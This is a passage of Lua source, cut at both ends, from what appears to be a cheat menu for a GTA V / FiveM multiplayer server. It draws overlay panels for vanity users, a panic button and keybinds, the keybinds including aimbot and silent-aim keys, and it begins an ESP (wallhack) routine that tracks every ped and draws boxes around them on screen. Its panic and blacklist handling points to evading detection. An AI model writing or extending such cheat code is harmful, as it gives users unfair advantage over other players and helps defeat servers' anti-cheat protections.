scale) local optionFontSize = roundNearest(10 * scale) local titleFontSize = roundNearest(13 * scale) local state = menu.vars.vanityUsersListState if state.x == nil or state.y == nil then state.x = roundNearest(screenWidth * 0.68) - roundNearest(panelWidth / 2) + roundNearest(28 * scale) state.y = math.max(0, defaultX - roundNearest(6 * scale)) + roundNearest(100 * scale) end local playerCoords = GetEntityCoords(PlayerPedId()) local entries = menu.utils.buildVanityUsersListEntries(playerCoords) or {} local entryCount = #entries local panelHeight = headerHeight if entryCount > 0 then panelHeight = headerHeight + entryCount * rowHeight + footerPadding end local panelX, panelY = state.x, state.y local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local mouseInHeader = panelX <= mouseX and mouseX <= panelX + panelWidth and panelY <= mouseY and mouseY <= panelY + headerHeight local freecamBlackHole = menu.vars.freecamMenuActive if freecamBlackHole then freecamBlackHole = menu.utils.isFreecamBlackHoleOptionSelected if freecamBlackHole then freecamBlackHole = menu.utils.isFreecamBlackHoleOptionSelected() end end if freecamBlackHole then state.isDragging = false end if menu.vars.movingOverlayList ~= "vanityUsersListState" then if not menu.vars.movingOverlayList and not freecamBlackHole and mouseDown and Ham.isGuiOpen() then if state.isDragging then state.x = math.max(0, math.min(screenWidth - panelWidth, mouseX - state.dragOffsetX)) state.y = math.max(0, math.min(screenHeight - panelHeight, mouseY - state.dragOffsetY)) elseif mouseInHeader then state.isDragging = true state.dragOffsetX = mouseX - panelX state.dragOffsetY = mouseY - panelY end else state.isDragging = false end end panelX, panelY = state.x, state.y menu.functions.drawOverlayMoveFocus("vanityUsersListState", state, panelWidth, panelHeight) panelX, panelY = state.x, state.y local cornerRadius = math.max(1, roundNearest(4 * scale)) local cornerSegments = roundNearest(8 * scale) local _, _, panelBackground = menu.drawing.getHudPanelBackgrounds() local primaryColor = menu.drawing.colors.primary Ham.drawRectFilled( { panelX, panelY, panelWidth, panelHeight }, panelBackground, cornerRadius, cornerSegments ) Ham.drawRectFilled( { panelX, panelY, panelWidth, headerHeight }, { 0, 0, 0, 255 }, cornerRadius, cornerSegments ) local halfHeader = math.max(1, roundNearest(headerHeight / 2)) Ham.drawRectFilled( { panelX, panelY + halfHeader, panelWidth, math.max(1, headerHeight - halfHeader) }, { 0, 0, 0, 255 }, 0, 0 ) if menu.vars.footerStyleName ~= "Black" then Ham.drawRectGradient( { panelX, panelY, panelWidth, headerHeight }, { primaryColor[1], primaryColor[2], primaryColor[3], 200 }, { 0, 0, 0, 0 }, true ) end local accentHeight = roundNearest(2 * scale) Ham.drawRectGradient( { panelX, panelY + headerHeight - accentHeight, panelWidth, accentHeight }, primaryColor, menu.drawing.colors.primary_light, false ) local titleX = panelX + roundNearest(8 * scale) local logoSize = math.max( 1, math.min(roundNearest(headerHeight - roundNearest(3 * scale)), roundNearest(14 * scale)) ) local logoY = panelY + roundNearest((headerHeight - logoSize) / 2) local titleY = panelY + roundNearest((headerHeight - titleFontSize) / 2) if menu.textures and menu.textures.notifyLogo and Ham.drawTexture then Ham.drawTexture( menu.textures.notifyLogo, { titleX, logoY }, { titleX + logoSize, logoY + logoSize }, { 255, 255, 255, 255 }, 0, {} ) titleX = titleX + logoSize + roundNearest(4 * scale) elseif menu.fonts and menu.fonts.icons then Ham.setFont(menu.fonts.icons) local icon = "\239\128\133" Ham.drawText( icon, { titleX, logoY }, menu.drawing.colors.primary, logoSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText(icon, { titleX, logoY }, menu.drawing.colors.primary, logoSize, false, false, {}) titleX = titleX + Ham.getTextWidth(icon) + roundNearest(4 * scale) end local titleColor = menu.drawing.colors.text_primary or { 255, 255, 255, 255 } Ham.setFont(menu.fonts.title) local title = "Vanity Users" Ham.drawText( title, { titleX, titleY }, titleColor, titleFontSize, false, true, { 0, 0, 0, titleColor[4] or 255 } ) Ham.drawText(title, { titleX, titleY }, titleColor, titleFontSize, false, false, {}) if entryCount > 0 then local rowY = panelY + headerHeight + footerPadding Ham.setFont(menu.fonts.options) for _, entry in ipairs(entries) do local textY = rowY + roundNearest(2 * scale) local nameX = panelX + roundNearest(8 * scale) local rightX = panelX + panelWidth - roundNearest(8 * scale) local iconGap = roundNearest(1 * scale) local starFontSize = math.max(1, roundNearest(5 * scale)) local starSpacing = entry.showVanityIcon and roundNearest(7 * scale) or 0 local nameRight = rightX if entry.showDistance then local distanceText = string.format("%.0fm", entry.dist or 0) local distanceWidth = Ham.getTextWidth(distanceText) local distanceX = rightX - distanceWidth Ham.drawText( distanceText, { distanceX, textY }, menu.drawing.colors.text_muted, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( distanceText, { distanceX, textY }, menu.drawing.colors.text_muted, optionFontSize, false, false, {} ) nameRight = distanceX - roundNearest(4 * scale) end local availableNameWidth = math.max(1, nameRight - nameX - starSpacing) local displayName = entry.displayName or entry.username or "Unknown" local nameWidth = Ham.getTextWidth(displayName) if availableNameWidth < nameWidth then local suffix = ".." local suffixWidth = Ham.getTextWidth(suffix) local truncatedName = displayName while #truncatedName > 0 do local candidate = truncatedName .. suffix local candidateWidth = Ham.getTextWidth(candidate) if availableNameWidth >= candidateWidth or suffixWidth >= candidateWidth then displayName = candidate break end truncatedName = string.sub(truncatedName, 1, #truncatedName - 1) end if #truncatedName == 0 then displayName = suffix end nameWidth = Ham.getTextWidth(displayName) end Ham.drawText( displayName, { nameX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( displayName, { nameX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, false, {} ) if entry.showVanityIcon and menu.fonts and menu.fonts.icons then Ham.setFont(menu.fonts.icons) local icon = "\239\128\133" local iconX = nameX + nameWidth + iconGap - roundNearest(2 * scale) local iconY = textY + math.max(0, roundNearest((optionFontSize - starFontSize) / 2)) local starColor = entry.starColor or menu.drawing.colors.accent Ham.drawText(icon, { iconX, iconY }, starColor, starFontSize, false, true, { 0, 0, 0, 255 }) Ham.drawText(icon, { iconX, iconY }, starColor, starFontSize, false, false, {}) Ham.setFont(menu.fonts.options) end rowY = rowY + rowHeight end end if menu.vars.movingOverlayList == "spectatorListState" or menu.vars.movingOverlayList == "menuPositionState" then Ham.drawRectFilled({ panelX, panelY, panelWidth, panelHeight }, { 0, 0, 0, 120 }, 0, 0) end Ham.resetFont() end Wait(frameDelay) end end pendingMenuEntry25 = runVanityUsersListThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runInfoListThread() local infoListState while _G.runmenu == true do local frameDelay = menu.vars.panicMode and 50 or 2500 local setupBusy = menu.vars.initLoading if setupBusy then setupBusy = menu.vars.initLoading.active end if not setupBusy then setupBusy = menu.vars.initSetupActive if not setupBusy then setupBusy = menu.vars.isBindingKey end end local infoListGate = false if infoListGate then local infoListEnabled = menu.vars.bools.infoList if infoListEnabled ~= false and not menu.vars.panicMode and not setupBusy then frameDelay = 0 local panicKey = menu.vars.hotkeyBinds if panicKey then panicKey = menu.vars.hotkeyBinds.PANIC_MODE end local panicKeyLabel if panicKey then local normalized = string.lower(tostring(panicKey)) if normalized ~= "none" then if string.lower(tostring(panicKey)) == "pageup" then panicKeyLabel = "Page Up" else panicKeyLabel = tostring(panicKey):gsub("^Key", "") end else panicKeyLabel = "Page Up" end else panicKeyLabel = "Page Up" end local panicText = "Panic Button \194\183 " .. panicKeyLabel local infoLines = { "Keybinds \194\183 " .. tostring(menu.vars.menuOptionBindKey or "F11"), panicText } local scale = menu.vars.scale or 1.0 local screenWidth, screenHeight = Ham.getResolution() local defaultX = roundNearest(14 * scale) local headerHeight = roundNearest(26 * scale) local rowHeight = roundNearest(16 * scale) local footerPadding = roundNearest(2 * scale) local fontSize = roundNearest(10 * scale) local defaultY = math.max(0, defaultX - roundNearest(6 * scale)) infoListState = menu.vars.infoListState if not infoListState then menu.vars.infoListState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0, followKeybind = true } infoListState = menu.vars.infoListState end if infoListState.followKeybind == nil then infoListState.followKeybind = true end Ham.setFont(menu.fonts.options) local maximumLineWidth = 0 for _, line in ipairs(infoLines) do local width = Ham.getTextWidth(line) if maximumLineWidth < width then maximumLineWidth = width end end Ham.resetFont() Ham.setFont(menu.fonts.title) local titleWidth = Ham.getTextWidth("Info List") local titleAreaWidth = roundNearest(24 * scale) + titleWidth + roundNearest(28 * scale) Ham.resetFont() local requiredWidth = math.max(maximumLineWidth + roundNearest(12 * scale), titleAreaWidth) local panelWidth = math.min(requiredWidth, roundNearest(148 * scale)) local lineCount = #infoLines local panelHeight = headerHeight + lineCount * rowHeight + footerPadding + roundNearest(8 * scale) if not infoListState.isDragging and infoListState.followKeybind ~= false then infoListState.x = defaultX infoListState.y = defaultY infoListState.x = math.max(0, math.min(screenWidth - panelWidth, infoListState.x)) infoListState.y = math.max(0, math.min(screenHeight - panelHeight, infoListState.y)) elseif infoListState.x == nil or infoListState.y == nil then infoListState.x = defaultX infoListState.y = defaultY end local panelX, panelY = infoListState.x, infoListState.y local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local mouseInHeader = panelX <= mouseX and mouseX <= panelX + panelWidth and panelY <= mouseY and mouseY <= panelY + headerHeight if not menu.vars.movingOverlayList and mouseDown and Ham.isGuiOpen() then if infoListState.isDragging then local draggedX = mouseX - infoListState.dragOffsetX local draggedY = mouseY - infoListState.dragOffsetY infoListState.x = math.max(0, math.min(screenWidth - panelWidth, draggedX)) infoListState.y = math.max(0, math.min(screenHeight - panelHeight, draggedY)) elseif mouseInHeader then infoListState.isDragging = true infoListState.followKeybind = false local keybindState = menu.vars.keybindListState if keybindState then menu.vars.keybindListState.followInfoLayout = false end infoListState.dragOffsetX = mouseX - panelX infoListState.dragOffsetY = mouseY - panelY end else infoListState.isDragging = false end panelX, panelY = infoListState.x, infoListState.y if menu.textureLoading and menu.textureLoading.ensureNotifyLogoLoading then menu.textureLoading.ensureNotifyLogoLoading() end local primaryColor = menu.drawing.colors.primary local textColor = { 255, 255, 255, 210 } local cornerRadius = roundNearest(6 * scale) local contentX = panelX + roundNearest(8 * scale) local contentWidth = panelWidth - roundNearest(16 * scale) menu.drawing.drawToastStylePanel(panelX, panelY, panelWidth, panelHeight, scale, { primary = primaryColor, glowOverlayAlpha = 24, roundedGlowOverlay = true, overlayOnly = true, logo = true, logoOpts = { size = roundNearest(16 * scale), padRight = roundNearest(6 * scale), padTop = roundNearest(5 * scale) } }) local contentY = menu.drawing.drawToastHudHeader( panelX, panelY, panelWidth, scale, "Info List", { primary = primaryColor } ) if lineCount > 0 then local contentHeight = lineCount * rowHeight + roundNearest(8 * scale) Ham.drawRectFilled( { contentX, contentY, contentWidth, contentHeight }, { primaryColor[1], primaryColor[2], primaryColor[3], 12 }, cornerRadius, 8 ) contentY = contentY + roundNearest(4 * scale) end Ham.setFont(menu.fonts.options) for _, line in ipairs(infoLines) do local lineY = contentY + roundNearest(1 * scale) local lineX = panelX + roundNearest(10 * scale) Ham.drawText(line, { lineX, lineY }, textColor, fontSize, false, true, { 0, 0, 0, 160 }) Ham.drawText(line, { lineX, lineY }, textColor, fontSize, false, false, {}) contentY = contentY + rowHeight end local movingState = menu.vars.movingOverlayList if movingState == "spectatorListState" or movingState == "menuPositionState" or movingState == "vanityUsersListState" then Ham.drawRectFilled({ panelX, panelY, panelWidth, panelHeight }, { 0, 0, 0, 120 }, 0, 0) end Ham.resetFont() end end Wait(frameDelay) end end pendingMenuEntry25 = runInfoListThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runKeybindListThread() local excludedIdentifiers = { MENU_TOGGLE = true, AIMBOT_KEY = true, SILENT_AIM_KEY = true, PANIC_MODE = true, SILENT_AIM_SELECT = true, FORCE_RADIO_ANIM_KEY = true, EMOTE_RESET_ANIMATION_KEY = true } local function formatActionName(action) action = action:gsub(" Hotkey", ""):gsub("Hotkey$", ""):gsub("%s+$", "") action = action:gsub("_", " "):gsub("(%a)(%w*)", function(first, rest) return first:upper() .. rest:lower() end) return action:gsub("^Toggle ", "") end local function actionFromIdentifier(identifier) local action = tostring(identifier):gsub(" Hotkey", "") local parts = {} for part in string.gmatch(action, "[^/>]+") do table.insert(parts, part) end if #parts > 1 then local previous = parts[#parts - 1]:gsub("^%s*(.-)%s*$", "%1") local last = parts[#parts]:gsub("^%s*(.-)%s*$", "%1") if last == "Enable" then return previous end return last elseif #parts == 1 then return parts[1] end return action end while _G.runmenu == true do local frameDelay = menu.vars.panicMode and 50 or 2500 local suppressList if menu.vars.startupHudReady then suppressList = menu.vars.initLoading and menu.vars.initLoading.active if not suppressList then suppressList = menu.vars.initSetupActive end if not suppressList then suppressList = menu.vars.isBindingKey end if not suppressList then suppressList = menu.vars.blacklisted end else suppressList = true end if menu.vars.bools.keybindList and not menu.vars.panicMode and not suppressList then frameDelay = 0 local scale = menu.vars.scale or 1.0 local screenWidth, screenHeight = Ham.getResolution() local defaultX = roundNearest(14 * scale) local headerHeight = roundNearest(20 * scale) local rowHeight = roundNearest(16 * scale) local footerPadding = roundNearest(4 * scale) local optionFontSize = roundNearest(10 * scale) local titleFontSize = roundNearest(13 * scale) local state = menu.vars.keybindListState if not state then menu.vars.keybindListState = { x = nil, y = nil, isDragging = false, dragOffsetX = 0, dragOffsetY = 0, followInfoLayout = true } state = menu.vars.keybindListState end if state.followInfoLayout == nil then state.followInfoLayout = true end local entries = menu.vars.keybindsCache if not entries or menu.vars.keybindsDirty then entries = {} if menu.vars.hotkeys then for hotkeyKey, hotkey in pairs(menu.vars.hotkeys) do if hotkey and hotkey.identifier and not excludedIdentifiers[hotkey.identifier] then local key = menu.vars.hotkeyBinds[hotkey.identifier] if not key then for keyName, keyValue in pairs(ImGuiKey) do if keyValue == hotkeyKey then key = keyName break end end end if key and string.lower(tostring(key)) ~= "none" then local action = hotkey.identifier if hotkey.keybindName then action = hotkey.keybindName elseif hotkey.name then action = hotkey.name:gsub(" Hotkey", ""):gsub("Hotkey$", "") end if (action == "Enable" or (not hotkey.keybindName and not hotkey.name)) and hotkey.identifier then action = actionFromIdentifier(hotkey.identifier) end action = formatActionName(action) key = key:gsub("^Key", "") if menu.logic.enrichSelectorToggleHotkeyAction then hotkey = menu.logic.enrichSelectorToggleHotkeyAction(hotkey) end local entry = { key = key, action = action, var = hotkey.var, toggleVar = hotkey.toggleVar, type = hotkey.type, identifier = hotkey.identifier } if menu.logic.enrichKeybindListEntry then entry = menu.logic.enrichKeybindListEntry(entry) end table.insert(entries, entry) end end end end local includedIdentifiers = {} for _, entry in ipairs(entries) do if entry.identifier then includedIdentifiers[entry.identifier] = true end end if menu.vars.hotkeyBinds then for identifier, bind in pairs(menu.vars.hotkeyBinds) do if not excludedIdentifiers[identifier] and not includedIdentifiers[identifier] and bind and string.lower(tostring(bind)) ~= "none" then includedIdentifiers[identifier] = true local action = formatActionName(actionFromIdentifier(identifier)) local entry = { key = tostring(bind):gsub("^Key", ""), action = action, identifier = identifier } if menu.logic.enrichKeybindListEntry then entry = menu.logic.enrichKeybindListEntry(entry) end table.insert(entries, entry) end end end menu.vars.keybindsCache = entries menu.vars.keybindsDirty = false end if #entries == 0 and menu.vars.movingOverlayList == "keybindListState" then entries = { { action = "Keybind preview", key = "-" } } end if #entries == 0 then frameDelay = 500 else Ham.setFont(menu.fonts.options) local leftPadding = roundNearest(8 * scale) local rightPadding = roundNearest(8 * scale) local columnGap = roundNearest(8 * scale) local actionGap = roundNearest(18 * scale) local maximumActionWidth, maximumKeyWidth = 0, 0 local hasToggleEntries = false for _, entry in ipairs(entries) do local actionWidth = Ham.getTextWidth(entry.action) if maximumActionWidth < actionWidth then maximumActionWidth = actionWidth end local keyText if menu.logic.isKeybindToggleEntry and menu.logic.isKeybindToggleEntry(entry) then hasToggleEntries = true keyText = "(" .. entry.key .. ")" else keyText = entry.key end local keyWidth = Ham.getTextWidth(keyText) if maximumKeyWidth < keyWidth then maximumKeyWidth = keyWidth end end local statusWidth = 0 if hasToggleEntries then statusWidth = math.max(select(1, Ham.getTextWidth("OFF")) or 0, select(1, Ham.getTextWidth("ON")) or 0) end local contentWidth = leftPadding + maximumActionWidth + actionGap + maximumKeyWidth if hasToggleEntries then contentWidth = contentWidth + columnGap + statusWidth end contentWidth = contentWidth + rightPadding local iconWidth = 0 if menu.fonts and menu.fonts.icons then Ham.setFont(menu.fonts.icons) iconWidth = Ham.getTextWidth("\239\132\156") + roundNearest(4 * scale) Ham.resetFont() end Ham.setFont(menu.fonts.title) local titleAreaWidth = roundNearest(8 * scale) + iconWidth + Ham.getTextWidth("Keybinds") + roundNearest(8 * scale) Ham.resetFont() local requiredWidth = math.max(contentWidth + roundNearest(6 * scale), titleAreaWidth) local panelWidth = math.min(requiredWidth, roundNearest(138 * scale)) local panelHeight = headerHeight + #entries * rowHeight + footerPadding local defaultY = math.max(0, defaultX - roundNearest(12 * scale)) local centeredX = roundNearest(screenWidth * 0.5 - panelWidth / 2 - 90 * scale) local infoGap = roundNearest(6 * scale) local infoListEnabled = menu.vars.bools.infoList ~= false local infoPanelWidth = 0 if infoListEnabled then local panicKey = menu.vars.hotkeyBinds if panicKey then panicKey = menu.vars.hotkeyBinds.PANIC_MODE end local panicKeyLabel if not panicKey or string.lower(tostring(panicKey)) == "none" then panicKeyLabel = "Page Up" elseif string.lower(tostring(panicKey)) == "pageup" then panicKeyLabel = "Page Up" else panicKeyLabel = tostring(panicKey):gsub("^Key", "") end local infoLines = { "Keybinds \194\183 " .. tostring(menu.vars.menuOptionBindKey or "F11"), "Panic Button \194\183 " .. panicKeyLabel } Ham.setFont(menu.fonts.options) local maximumLineWidth = 0 for _, line in ipairs(infoLines) do local width = Ham.getTextWidth(line) if maximumLineWidth < width then maximumLineWidth = width end end Ham.resetFont() local infoIconWidth = 0 if menu.fonts and menu.fonts.icons then Ham.setFont(menu.fonts.icons) infoIconWidth = Ham.getTextWidth("\239\129\154") + roundNearest(4 * scale) Ham.resetFont() end Ham.setFont(menu.fonts.title) local infoTitleWidth = roundNearest(8 * scale) + infoIconWidth + Ham.getTextWidth("Info List") + roundNearest(8 * scale) Ham.resetFont() infoPanelWidth = math.min( math.max(maximumLineWidth + roundNearest(6 * scale), infoTitleWidth), roundNearest(138 * scale) ) end if not state.isDragging then if state.followInfoLayout and infoListEnabled and menu.vars.infoListState then local infoState = menu.vars.infoListState state.x = (infoState.x or defaultX) + infoPanelWidth + infoGap state.y = infoState.y or defaultY elseif state.followInfoLayout and not infoListEnabled then state.x, state.y = centeredX, defaultY elseif state.x == nil or state.y == nil then state.x, state.y = centeredX, defaultY end state.x = math.max(0, math.min(screenWidth - panelWidth, state.x)) state.y = math.max(0, math.min(screenHeight - panelHeight, state.y)) elseif state.x == nil or state.y == nil then state.x, state.y = centeredX, defaultY end local panelX, panelY = state.x, state.y local mouseX, mouseY = Ham.getMousePos() local mouseDown = Ham.isMouseDown(0) local mouseInHeader = panelX <= mouseX and mouseX <= panelX + panelWidth and panelY <= mouseY and mouseY <= panelY + headerHeight local freecamBlackHole = menu.vars.freecamMenuActive if freecamBlackHole then freecamBlackHole = menu.utils.isFreecamBlackHoleOptionSelected if freecamBlackHole then freecamBlackHole = menu.utils.isFreecamBlackHoleOptionSelected() end end if freecamBlackHole then state.isDragging = false end if menu.vars.movingOverlayList ~= "keybindListState" then if not menu.vars.movingOverlayList and not freecamBlackHole and mouseDown and Ham.isGuiOpen() then if state.isDragging then state.x = math.max(0, math.min(screenWidth - panelWidth, mouseX - state.dragOffsetX)) state.y = math.max(0, math.min(screenHeight - panelHeight, mouseY - state.dragOffsetY)) elseif mouseInHeader then state.isDragging = true state.followInfoLayout = false state.dragOffsetX = mouseX - panelX state.dragOffsetY = mouseY - panelY end else state.isDragging = false end end panelX, panelY = state.x, state.y menu.functions.drawOverlayMoveFocus("keybindListState", state, panelWidth, panelHeight) panelX, panelY = state.x, state.y local cornerRadius = math.max(1, roundNearest(4 * scale)) local cornerSegments = roundNearest(8 * scale) local _, _, panelBackground = menu.drawing.getHudPanelBackgrounds() local primaryColor = menu.drawing.colors.primary Ham.drawRectFilled( { panelX, panelY, panelWidth, panelHeight }, panelBackground, cornerRadius, cornerSegments ) Ham.drawRectFilled( { panelX, panelY, panelWidth, headerHeight }, { 0, 0, 0, 255 }, cornerRadius, cornerSegments ) local halfHeader = math.max(1, roundNearest(headerHeight / 2)) Ham.drawRectFilled( { panelX, panelY + halfHeader, panelWidth, math.max(1, headerHeight - halfHeader) }, { 0, 0, 0, 255 }, 0, 0 ) if menu.vars.footerStyleName ~= "Black" then Ham.drawRectGradient( { panelX, panelY, panelWidth, headerHeight }, { primaryColor[1], primaryColor[2], primaryColor[3], 200 }, { 0, 0, 0, 0 }, true ) end local accentHeight = roundNearest(2 * scale) Ham.drawRectGradient( { panelX, panelY + headerHeight - accentHeight, panelWidth, accentHeight }, primaryColor, menu.drawing.colors.primary_light, false ) local titleX = panelX + roundNearest(8 * scale) local iconY = panelY + roundNearest(5 * scale) local titleY = iconY - math.max(1, roundNearest(2 * scale)) if menu.fonts and menu.fonts.icons then Ham.setFont(menu.fonts.icons) local icon = "\239\132\156" local iconSize = math.max(1, titleFontSize - roundNearest(5 * scale)) Ham.drawText( icon, { titleX, iconY }, menu.drawing.colors.primary, iconSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText(icon, { titleX, iconY }, menu.drawing.colors.primary, iconSize, false, false, {}) titleX = titleX + Ham.getTextWidth(icon) + roundNearest(4 * scale) end local titleColor = menu.drawing.colors.text_primary or { 255, 255, 255, 255 } Ham.setFont(menu.fonts.title) Ham.drawText( "Keybinds", { titleX, titleY }, titleColor, titleFontSize, false, true, { 0, 0, 0, titleColor[4] or 255 } ) Ham.drawText("Keybinds", { titleX, titleY }, titleColor, titleFontSize, false, false, {}) local rowY = panelY + headerHeight + footerPadding Ham.setFont(menu.fonts.options) local rightEdge = panelX + panelWidth - rightPadding local keyRight = rightEdge - (hasToggleEntries and statusWidth + columnGap or 0) for _, entry in ipairs(entries) do local textY = rowY + roundNearest(2 * scale) local actionX = panelX + leftPadding Ham.drawText( entry.action, { actionX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( entry.action, { actionX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, false, {} ) local statusVar = menu.logic.getKeybindEntryStatusVar if statusVar then statusVar = menu.logic.getKeybindEntryStatusVar(entry) end if statusVar then local keyText = "(" .. entry.key .. ")" local keyX = keyRight - Ham.getTextWidth(keyText) Ham.drawText( keyText, { keyX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( keyText, { keyX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, false, {} ) local statusText = menu.vars.bools[statusVar] and "ON" or "OFF" local statusX = rightEdge - Ham.getTextWidth(statusText) Ham.drawText( statusText, { statusX, textY }, { 255, 255, 255, 255 }, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( statusText, { statusX, textY }, { 255, 255, 255, 255 }, optionFontSize, false, false, {} ) else local keyX = rightEdge - Ham.getTextWidth(entry.key) Ham.drawText( entry.key, { keyX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, true, { 0, 0, 0, 255 } ) Ham.drawText( entry.key, { keyX, textY }, menu.drawing.colors.text_primary, optionFontSize, false, false, {} ) end rowY = rowY + rowHeight end local movingState = menu.vars.movingOverlayList if movingState == "spectatorListState" or movingState == "menuPositionState" or movingState == "vanityUsersListState" then Ham.drawRectFilled({ panelX, panelY, panelWidth, panelHeight }, { 0, 0, 0, 120 }, 0, 0) end Ham.resetFont() end end Wait(frameDelay) end end pendingMenuEntry25 = runKeybindListThread end pendingMenuEntry24(pendingMenuEntry25) pendingMenuEntry24 = "Citizen" pendingMenuEntry24 = _ENV[pendingMenuEntry24] pendingMenuEntry25 = "CreateThread" pendingMenuEntry24 = pendingMenuEntry24[pendingMenuEntry25] do local function runEspBoxShowThread() local weaponNames = {} if menu.vars.weaponsList then for _, weapon in ipairs(menu.vars.weaponsList) do local name = weapon:gsub("WEAPON_", ""):gsub("_", " ") weaponNames[GetHashKey(weapon)] = name end end local pedCache = { lastUpdate = 0, peds = {} } local function listEspPeds() if GetGamePool then return GetGamePool("CPed") or {} end if not FindFirstPed or not FindNextPed or not EndFindPed then return {} end local peds = {} local handle, ped = FindFirstPed() local found = true if handle and handle ~= -1 then repeat if ped and ped ~= 0 then peds[#peds + 1] = ped end local nextFound, nextPed = FindNextPed(handle) ped = nextPed found = nextFound if not found then EndFindPed(handle) end until not found end return peds end local function clampEspValue(value, minimum, maximum) if value < minimum then return minimum end if maximum < value then return maximum end return value end local function lerpEspValue(startValue, endValue, amount) return startValue + (endValue - startValue) * amount end local function getEspPedBounds(entity, viewerPosition, maximumDistance) local position = GetEntityCoords(entity) local distance = #(viewerPosition - position) local limit = maximumDistance or menu.vars.sliders.espMaxDistance or 400.0 if distance > limit then return nil end local head = GetPedBoneCoords(entity, 31086, 0.0, 0.0, 0.0) local model = GetEntityModel(entity) local dimensions = menu.vars.modelDimsCache[model] if not dimensions then local minimum, maximum = GetModelDimensions(model) dimensions = { minZ = minimum and minimum.z or -1.0, maxZ = maximum and maximum.z or 1.0 } menu.vars.modelDimsCache[model] = dimensions end local bottomZ = position.z + (dimensions.minZ or -1.0) + 0.25 local topZ = position.z + (dimensions.maxZ or 1.0) + 0.1 local headVisible, headX, headY = Ham.worldToScreen(head.x, head.y, head.z + 0.14) if not headVisible then headVisible, headX, headY = Ham.worldToScreen(position.x, position.y, topZ) end local footVisible, footX, footY = Ham.worldToScreen(position.x, position.y, bottomZ) if not headVisible or not footVisible then return nil end local centerX = (headX + footX) * 0.5 local top = math.min(headY, footY) local bottom = math.max(headY, footY) local height = bottom - top if height < 2 then return nil end local width = math.max(10, height * 0.38) return centerX, top, bottom, width, height, position, distance end local barThickness = 3 local barInnerThickness = 1 local smoothedBounds = {} local boundsSmoothing = 0.55 local function getEspPedCenter(entity, viewerPosition) local position = viewerPosition or GetEntityCoords(PlayerPedId()) local maximumDistance = menu.vars.sliders.espMaxDistance or 400.0 local centerX, top, bottom, width, height = getEspPedBounds(entity, position, maximumDistance) if not centerX then return nil end return centerX, (top + bottom) * 0.5, width, height end local function getSmoothedEspPedBounds(entity) local centerX, centerY, width, height = getEspPedCenter(entity) if not centerX then return nil end local key = "ped_" .. (entity or 0) local bounds = smoothedBounds[key] if not bounds then bounds = { cx = centerX, cy = centerY, w = width, h = height } smoothedBounds[key] = bounds end bounds.cx = lerpEspValue(bounds.cx, centerX, boundsSmoothing) bounds.cy = lerpEspValue(bounds.cy, centerY, boundsSmoothing) bounds.w = lerpEspValue(bounds.w, width, boundsSmoothing) bounds.h = lerpEspValue(bounds.h, height, boundsSmoothing) local count = 0 for _ in pairs(smoothedBounds) do count = count + 1 end if count > 64 then smoothedBounds = {} end return bounds.cx, bounds.cy, bounds.w, bounds.h end local glowLayers = { { e = 5, a = 19 }, { e = 4, a = 30 }, { e = 3, a = 42 }, { e = 2, a = 55 }, { e = 1, a = 72 } } local function drawEspRect(x, y, width, height, color, glow) if not glow or not color or width <= 0 or height <= 0 then Ham.drawRectFilled({ x, y, width, height }, color, 0, 0) return end local red, green, blue = color[1], color[2], color[3] for _, layer in ipairs(glowLayers) do Ham.drawRectFilled( { x - layer.e, y - layer.e, width + layer.e * 2, height + layer.e * 2 }, { red, green, blue, layer.a }, 0, 0 ) end Ham.drawRectFilled({ x, y, width, height }, color, 0, 0) end local function drawEspTextWithShadow(text, x, y, color, size) local position = { math.floor(x), math.floor(y) } Ham.drawText(text, position, color, size, true, true, { 0, 0, 0, 255 }) Ham.drawText(text, position, color, size, true, false, {}) end local function drawVerticalEspBar(x, y, height, ratio, color, scrollingRainbow, glow) local backgroundColor = { 0, 0, 0, 255 } drawEspRect(x, y, barThickness, height, backgroundColor, glow) Ham.drawRect({ x, y }, { x + barThickness, y + height }, backgroundColor, 1, 0, 1) if ratio <= 0.001 then return end local fillHeight = math.max(1, math.floor(ratio * (height - 2))) local fillY = math.floor(y + height - fillHeight - 1) local fillX = math.floor(x + (barThickness - barInnerThickness) / 2) if scrollingRainbow then local segmentCount = math.max(2, math.floor(fillHeight / 2)) local segmentHeight = fillHeight / segmentCount for segmentIndex = 0, segmentCount - 1 do local segmentY = math.floor(fillY + segmentIndex * segmentHeight) local pixelHeight = math.max(1, math.ceil(segmentHeight)) if segmentIndex == segmentCount - 1 then pixelHeight = fillY + fillHeight - segmentY end local segmentColor = rainbowColorForHue(segmentIndex / segmentCount * 0.8, true) drawEspRect(fillX, segmentY, barInnerThickness, pixelHeight, segmentColor, glow) end else drawEspRect(fillX, fillY, barInnerThickness, fillHeight, { color[1], color[2], color[3], 255 }, glow) end return fillX, fillY, fillHeight end local function drawHorizontalEspBar(left, y, width, padding, ratio, color, scrollingRainbow, glow) local backgroundColor = { 0, 0, 0, 255 } drawEspRect(left, y, width, barThickness, backgroundColor, glow) Ham.drawRect({ left, y }, { left + width, y + barThickness }, backgroundColor, 1, 0, 1) if ratio <= 0.001 then return end local fillAreaWidth = width - 2 * padding local fillWidth = math.max(1, math.floor(ratio * fillAreaWidth)) local fillX = math.floor(left + padding) local fillHeight = math.max(1, barThickness - 2 * padding) if scrollingRainbow then local 